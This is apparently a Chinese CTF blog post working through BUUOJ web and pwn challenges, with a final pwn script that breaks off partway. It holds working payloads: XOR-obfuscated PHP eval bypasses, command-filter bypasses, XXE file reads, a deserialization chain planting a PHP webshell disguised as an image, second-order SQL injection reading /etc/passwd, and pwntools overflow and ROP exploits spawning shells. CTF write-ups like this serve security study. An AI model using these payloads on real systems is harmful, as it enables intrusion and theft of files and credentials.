BuuOJ刷题记录3

Buu刷题暂时告一段落

[ISITDTU 2019]EasyPHP

先看源码

index.php
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

题目类似于[SUCTF 2019] EasyWeb

但是过滤了${, 原来的 payload 不能用了, 老实讲我觉得这道题是道算法题

如何通过尽量少的字符异或出任意字符串

可以看到最大的字符数为13, 而除去必须的()^;, 只有 9 个空间, 也就是通过 9 个数来表示[a-z_]

有一说一, 如果能通过算法解出来最小值, 这个就可以出新题了 hhhh 而且是骂人的那种

首先执行phpinfo(), 这个很简单, 只需要异或一下就可以了

(~%8F%97%8F%96%91%99%90)();

然后会看到disable_function有很多, 盲猜是列全了, 那么就是像[Bytectf 2019] boring code那样执行函数了, 首先尝试执行下面的 payload

print_r(scandir(.));

下面的方法大体来自 https://blog.zeddyu.info/2019/07/20/isitdtu-2019/#Another-Way-Step-3, 只是暴力很多提出需要用的字符

acdinpsrt._

然后测试一下他们之间有怎么的异或关系, 注意只要找奇数次异或的结果

find_word = "acdinpsrt._"
word = "acdinpsrt._"
out_set = set()
def not_eq(i, j, k):
if i != j and i != k and j !=k:
return True
return False
def word_sum(i, j, k):
num = ord(i) * ord(j) * ord(k)
if num not in out_set:
out_set.add(num)
return True
return False

f = open("out", "w")
for a in find_word:
for i in word:
for j in word:
for k in word:
if (ord(a) == ord(i)^ord(j)^ord(k)) and not_eq(i, j, k) and word_sum(i, j, k):
res = (f"{a} = {i}^{j}^{k}")
f.write(res + "\n")
print(res)

输出如下

a = c^p^r
c = a^p^r
c = d^i^n
c = d^s^t
d = c^i^n
d = c^s^t
i = c^d^n
i = n^s^t
n = c^d^i
n = i^s^t
p = a^c^r
s = c^d^t
s = i^n^t
r = a^c^p
t = c^d^s
t = i^n^s

这里需要灵性选择一部分来用, 我选择将出现一次的尽量使用出现多次的代替

这里出现比较多的有

rin

可以得到如下关系

s = i^n^t
d = c^i^n
a = c^p^r

然后我们就可以开始构造了

print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d
scandir = iccncir^ncpniir^tcrnnir = %ff%ff%ff%ff%ff%ff%ff^^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d
. = %ff^%d1

拼起来

_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%ff^%d1)));

天可怜见, 终于看到文件了

print_r(file(end(scandir("."))));

然后继续构造, 提取字符

acedfilnpsrt._

先根据上面提出的替换

s = i^n^t
d = c^i^n
a = c^p^r

再从输出提取下面的替换, 这里还是需要灵性

e = c^r^t
l = n^p^r
. = c^t^f^_

然后写出 payload

print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d
file = fibc^fipr^firt = %ff%ff%ff%ff^%99%96%9d%9c^%99%96%8f%8d^%99%96%8d%8b
scandir = %ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d
end = cnc^rni^tnn = %ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91
. = %ff^%9c^%8b^%99^%a0

写了个生成某个串的脚本

import re

def xor(start, payload):
pattern = re.compile('[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+', re.I)
for i in range(start, start + 1):
if pattern.match(chr(i)):
continue
res = f"%{i:02x}" * len(payload)
res += "^"
f = False
for j in payload:
new = ord(j)^i
if pattern.match(chr(new)):
f = True
break
res += f"%{ord(j)^i:02x}"
if f:
continue
return res

def xor_plus(payload):
res = ""
lens = 0
for i in payload.split("^"):
lens = len(i)
res += "^"
res += xor(0xff, i).split("^")[1]
res = "%ff" * lens + res
print(res)
if __name__ == "__main__":
# print(xor(0xff,"."))
xor_plus("i^n^p^t^_^r")

拼起来

(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff^%99%96%9d%9c^%99%96%8f%8d^%99%96%8d%8b)((%ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%ff^%9c^%8b^%99^%a0)))));

image-20200219013823892

本地测试发现 14…., 继续构造, 改进前面的脚本, 增加多几次异或

find_word = "cfinprt._"
word = "cfinprt_"
out_set = set()
def not_eq(*arg):
if len(arg) != len(set(arg)):
return False
return True

def word_sum(i, j, k, l, m):
num = ord(i) * ord(j) * ord(k) * ord(l) * ord(m)
if num not in out_set:
out_set.add(num)
return True
return False

f = open("out", "w")
for a in find_word:
for i in word:
for j in word:
for k in word:
for l in word:
for m in word:
if (ord(a) == ord(i)^ord(j)^ord(k)^ord(l)^ord(m)) and not_eq(i, j, k, l, m) and word_sum(i, j, k,l, m):
res = (f"{a} = {i}^{j}^{k}^{l}^{m}")
f.write(res + "\n")
print(res)

终于找到了多的替换

c = f^i^n^p^r
f = c^i^n^p^r
i = c^f^n^p^r
n = c^f^i^p^r
p = c^f^i^n^r
r = c^f^i^n^p

这里选择 f, 出现次数最少, 需要改的地方比较少, 修改后的替换表如下

s = i^n^t
d = c^i^n
a = c^p^r
e = c^r^t
l = n^p^r
. = i^n^p^r^t^_
f = c^i^n^p^r

payload

print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d
file = cinc^iipr^nirt^pirt^rirt = %ff%ff%ff%ff^%9c%96%91%9c^%96%96%8f%8d^%91%96%8d%8b^%8f%96%8d%8b^%8d%96%8d%8b
scandir = %ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d
end = cnc^rni^tnn = %ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91
. = %8b^%a0^%96^%91^%8f^%8d

最后 payload

_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff^%9c%96%91%9c^%96%96%8f%8d^%91%96%8d%8b^%8f%96%8d%8b^%8d%96%8d%8b)((%ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%8b^%a0^%96^%91^%8f^%8d)))));

很有趣的题目, 就是调的比较累 2333

[FBCTF2019]RCEService

原来这题是给源码的, 我说怎么日不动….

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

这题的预期解虽然是PCRE, 但是感觉很强行, %0a换行更好

cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}

另外的解看 p 神的博客

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

就可以明白了, 不过需要注意的是数据量比较大, 需要用 POST 传, 这也是题目用$_REQUEST的原因

[DDCTF 2019]homebrew event loop

挺有意思的题目, 是个 flask 的审计

首先看源码

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

首先看路由

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

可以看到这里是利用了request.query_string获取我们的输入, 并执行相应的调用, 第一步是经过trigger_event

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

这个函数首先将调用放入session, 然后再添加到执行列表request.event_queue, 而不是立刻执行

第二步调用execute_event_loop开始执行

def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

关键在这一段

is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

中间的get_mid_str也很好理解, 就是获取两个参数中间的一段, 后面我们可以看到有个 eval 解析字符串, 但是会加上_handler或者_function来防止任意命令执行, 但是如果我们的输入中有#, 在 eval 执行时就会将后面的内容注释, 也就是

action = "FLAG#"
eval("FLAG#_handler") = eval("FLAG")

从而可以命令执行, 但是我们看一下获取 flag 的地方

def FLAG():
return '*********************' # censored

def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')

直接调用FLAG()的话, 由于传入的参数是list

args = get_mid_str(event, action+';').split('#')

会导致报错, 所以我们需要找到可以传入list的函数, 如果直接调用get_flag_handler的话需要使得

session['num_items'] >= 5

但是这里没有条件竞争, 直接调用不行, 我们看一下买的地方

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

可以看到这里不判断有没有足够的点数就直接添加了, 所以我们可以通过下面的调用来获取 flag

trigger_event(["action:buy_handler;7","action:get_flag_handler"])

这样的执行顺序为

  1. 添加action:buy_handler;7到 queue
  2. 添加action:get_flag_handler到 queue
  3. 执行``action:buy_handler;7, 添加func:consume_point;{}`到 queue
  4. 执行action:get_flag_handler, 添加'func:show_flag;' + FLAG()到 queue
  5. 依次执行剩下的元素

可以看到, FLAG()会被顺利的执行, 然后我们只需要解密session就能看到执行的 log, 从而获取 flag 了

payload 如下

/?action:trigger_event%23;action:buy;7%23action:get_flag;

然后获取 cookie

.eJyNjl9rgzAAxL_KyHMfNKkTBV_GplBmpEWaP2MMY7pqNKmgdjXF7z4ZbDC6h70d3N3v7gra0xGEL1dwJ0AIGMFOQYIxM7upINJwunnnlLfCbFUGYyWT9ixUV0va-HjCFUO7TsD1PYd7h0LeM1L6YF7d4PTGPeQ9WqwbR7YyDrRIYpN9RBGYX3_a3OxHZjsloGclcVuKHs4F8ZzMltEfJMM7Tkt_STScHr9Iv0G2SAL0_ZLrS8XRoPBj6WH1dEknB2LN7HO-XTOVDkzjBtduw3PcpAnzUlXp1MbB_4aBGfVbPRx0D0JnBbpTbYZFovkTybx2QQ.Xkzsbg.SkZ-vfJDGGh0vxZvYMbSXmEEaPM

利用 https://www.leavesongs.com/PENETRATION/client-session-security.html 的脚本

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密如下

{'log': [b'action:trigger_event#;action:buy;7#action:get_flag;', [b'action:buy;7', b'action:get_flag;'], [b'func:consume_point;7', b'action:view;index'], b'func:show_flag;flag{c4796113-66f3-48b3-bcd6-de3d0f928f31}', b'action:view;index'], 'num_items': 0, 'points': 3}

回去看了 p 神的文章, flask 的 session 处理步骤如下

  1. json.dumps 将对象转换成 json 字符串,作为数据
  2. 如果数据压缩后长度更短,则用 zlib 库进行压缩
  3. 将数据用 base64 编码
  4. 通过 hmac 算法计算数据的签名,将签名附在数据后,用“.”分割

所以这里虽然不知道secret_key, 但是依然可以正常解密, 只是无法伪造(因为有签名)

[NCTF2019]Fake XML cookbook

xml 的题基本都是 xxe, 那么这里用 payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<user>
<username>&goodies;</username>
<password>mypass</password>
</user>

即可读取

[强网杯 2019]Upload

当时做的时候记得有源码的, 这里下不来, 上网找一个就可以了

https://github.com/glzjin/qwb_2019_upload

然后审计一下, 主要的代码在这个位置

首先关注一下反序列化的点, index.php 里面

public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

可以看到会将 cookie 进行反序列化

然后读一下代码, 没有什么可以直接执行的函数, 就只能通过文件上传 getshell 了, 看一下上传的部分

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

这里有个拼接后缀名

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

只要不传文件就可以了, 所以我们需要设置的值为

class Profile extends Controller
{
public $checker = 0;
public $filename_tmp = "shell_pwd";
public $filename = "cjm00n.php";
public $upload_menu;
public $ext = 1;
public $img;
public $except;

那么反序列化的入口就是前面的__destruct

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

如果我们让checkProfile, 那么对其调用index, 会触发__call

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

__call会去找index对象, 从而触发__get方法, 返回except['index']

public function __get($name)
{
return $this->except[$name];
}

那么我们可以赋值如下

class Profile extends Controller
{
public $checker = 0;
public $filename_tmp = "shell_pwd";
public $filename = "cjm00n.php";
public $upload_menu;
public $ext = 1;
public $img;
public $except = array("index" => "upload_img");
}
class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Profile();
}
}

调用链如下

new Register() => __destruct() => profile->index => __call => __get => __call => upload_img

先上传文件, 生成一个图片格式的 shell

# xbm format
SIZE_HEADER = b"#define width 1\n#define height 1\n\n"
# wbmp format
SIZE_HEADER = b"\x00\x00\x8a\x39\x8a\x39"
# shell
SHELL = b"<?php eval($_REQUEST['c']);?>"
f = open("cjm00n.png", "wb")
f.write(SIZE_HEADER+SHELL)
f.close()

得到路径

/public/upload/2c67ca1eaeadbdc1868d67003072b481/be111107dc8d38cd69e24a8af989bee8.png

然后构造 exp

<?php
namespace app\web\controller;

class Profile
{
public $checker = 0;
public $filename_tmp = "../public/upload/2c67ca1eaeadbdc1868d67003072b481/be111107dc8d38cd69e24a8af989bee8.png";
public $filename = "cjm00n.php";
public $upload_menu;
public $ext = 1;
public $img;
public $except = array("index" => "upload_img");
}
class Register
{
public $checker;
public $registed = 0;

public function __construct()
{
$this->checker=new Profile();
}
}

$o = new Register();
echo base64_encode(serialize($o));
echo "\n";

发过去, 就可以在网站根目录看到 shell 了

[HarekazeCTF2019]encode_and_encode

<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

根据手册, 只要编码成 utf-8 就可以绕过第一步, 第二步使用伪协议编码即可

在网上一直没找到英文字母转 unicode 的方法, 就自己写了个脚本

import json
import requests
from time import sleep

def s2u(payload):
res = ""
for i in payload:
res += f"\\u00{hex(ord(i)).lstrip('0x')}"
return res
f = open("out", "wb")
data = {}
payload = s2u("php://filter/read=convert.base64-encode/resource=/flag")
data['page'] = payload
res = (json.dumps(data)).replace("\\\\", "\\")
print(res)

[网鼎杯 2018]Comment

这里需要爆破三位密码, 不想爆 buu 就直接上网查一下知道是 666, 登录后可以发帖

这里长得就特别像一个二次注入, 总觉得和哪道题很像, 然后就日半天没反应了

发现有个.git泄露, 但是这里下载的不全, 我用的是 vscode 的gitlens, 补全了一下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

确实是二次注入, 虽然这里有个addslashes函数, 但是我们测试一下就可以知道, 这个函数只会在 mysql 语句执行的时候转义, 从数据库中提取的内容还是原来的输入

假设我们输入

',content=user(),/*

经过转义后为

\',content=user(),/*

输入到数据后转义消失

',content=user(),/*

那么我们就可以构造如下 payload, 在第一个category设置

',content=user(),/*

然后留言为

*/#

拼接起来就是

',content=user(),/*....*/#

成功注入

这里主要参考 2018 网鼎杯第四场

看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL 语句 读取 flag 文件了。

读文件如下

',content=(select load_file("/etc/passwd"),/*

看到有www用户, 读取他的操作历史

',content=(select load_file("/home/www/.bash_history"),/*

看到有个.DS_Store, 做过源码泄露的应该都知道这个文件会有一些文件夹的信息, 但是这里执行了rm -f

仔细看命令会发现, 这里是删除了/var/www/html/下的, 而原来解压的/tmp/html目录下还存在, 那么就可以读出来

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

这里需要用 hex 编码, 因为里面有很多不可见字符, 然后可以看到有个 php

读取即可

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[BSidesCF 2019] Koocie

我也不太理解, 设了个 cookie 莫名其妙就给我 flag 了, 可能题目就是这意思吧

[BSidesCF 2019]Pick Tac Toe

这是一题井字棋, 众所周知, 高手对决总是不分胜负的, 所以靠实力下赢电脑是不可能的

但是由于他是通过 ajax 异步传输的, 每次传输后刷新页面, 如果我们自己发包, 连走三棋, 再刷新页面, 就可以让电脑认输(误

打开控制台

$.post("/move","move=b");
$.post("/move","move=br");
$.post("/move","move=bl");
location.reload();

然后收获 flag

jarvisoj_level0

无聊做道入门的 pwn, 先看一下文件和保护

拉到 ida 看一下

跟进vulenrable_function

有读的操作, 将0x200的数据读入0x80h的 buf, 存在溢出, 并且有个后门函数在0x400596

那么我们只需要将程序流覆盖到这个后门函数即可, 需要覆盖的范围应该是

buf -> ret

也就是-0x80-0x8, payload 如下

from pwn import *

io = remote("node3.buuoj.cn",26279)
io.recvline()
payload = b"a" * 0x88
payload += p64(0x400596)
io.send(payload)
io.interactive()

jarvisoj_level1

可以看到没有开NX堆栈保护, main 函数如下

跟进vulenrable_function

这次没有了后门函数, 但是 NX 保护没开, 就可以将 shellcode 写入堆栈, 再将地址指向堆栈上 shellcode 的地址, 就可以执行了, buf 的大小为0x8c

想法是很美好的, buuoj 上面却一直打不通, 感觉上面的文件和给的附件不一样, 打了一下 jarvisoj 的可以通

from pwn import *

io = remote("node3.buuoj.cn",27940)
# io = remote("pwn2.jarvisoj.com","9877")
context.log_level = 'debug'

addr = int(io.recvline()[len("What's this:"):-2],16)
print(addr)
shellcode = asm(shellcraft.sh())
# shellcode=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload = shellcode
payload += "a" * (0x8c - len(shellcode))
payload += p64(addr)
io.send(payload)
io.interactive()

看了下南梦师傅的 exp, 不是很懂, 后面再研究看看, 菜鸡 pwn 手的心理受到了巨大的创伤

jarvisoj_level2

学习了一下南梦师傅的 exp 写法, 这题其实就是找system然后执行就可以了

或者这里

exp 如下

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./level2")
sh = 0
lib = 0
def exp(ip, port, debug=0):
global sh
if debug:
sh = process("./level2")
else:
sh = remote(ip, port)
bin_sh_addr = elf.search("/bin/sh").next()
# system_addr = elf.["system"]
system_addr = 0x804849E
# print(bin_sh_addr)
print(system_addr)
payload = "a" * (0x88 + 0x4)
payload += p32(system_addr)
payload += p32(bin_sh_addr)
sh.send(payload)
sh.interactive()

if __name__ == '__main__':
exp("node3.buuoj.cn", 26653, 0)

jarvisoj_level2_x64

32 位和 64 位在函数传参的地方有所不同, 64 位前 6 个参数是放在寄存器上, 第一个是rdi, 所以我们要想办法把/bin/sh传入 rdi, 这里需要用到ROPgadget

可以看到程序找到了一些可用的汇编语句, 我们先来看一下红框中的语句

pop rdi ; ret

  1. pop rdi: 将栈顶的数据弹出, 传给 rdi
  2. ret: 将栈顶的数据弹出, 跳转到该地址

我们依次传入/bin/shsystem的地址, 栈上的状态如下

/bin/sh
system

那么我们就可以顺利的将 rdi 加载为/bin/sh

构造 exp 如下

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF("./level2_x64")
sh = 0
lib = 0
def exp(ip, port, debug=0):
global sh
if debug:
sh = process("./level2_x64")
else:
sh = remote(ip, port)
pop_rdi_ret_addr = 0x4006b3
bin_sh_addr = elf.search("/bin/sh").next()
system_addr = 0x400603
payload = "a" * (0x88)
payload += p64(pop_rdi_ret_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
sh.send(payload)
sh.interactive()

if __name__ == '__main__':
exp("node3.buuoj.cn", 25012, 0)

jarvisoj_level3

看一下vuln函数

这次开启了 NX 保护, 也没有后门函数, 就只能去 libc 里面找了

但是这里坑的地方就是, 我去翻了题目 github 地址的 libc 是2.19, 实际上并不是, 然后就一直time_out

我们想要利用 libc 中自带的函数, 需要先找到基址, 而write函数就可以用来泄露地址, 然后与我们本地的相减就能求出基址, 就可以实现任意调用了

libc 的部分参考网上的 wp 使用了LibcSearcher来找, 就很顺利了 hhh

exp 如下

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./level3")
sh = 0
# lib = ELF("./libc-2.19.so")

def exp(ip, port, debug=0):
global sh
if debug:
sh = process("./level3")
else:
sh = remote(ip, port)
# leak write
payload = "a" * (0x88 + 0x4)
payload += p32(elf.plt['write'])
payload += p32(0x8048495) # vuln
payload += p32(0x1)
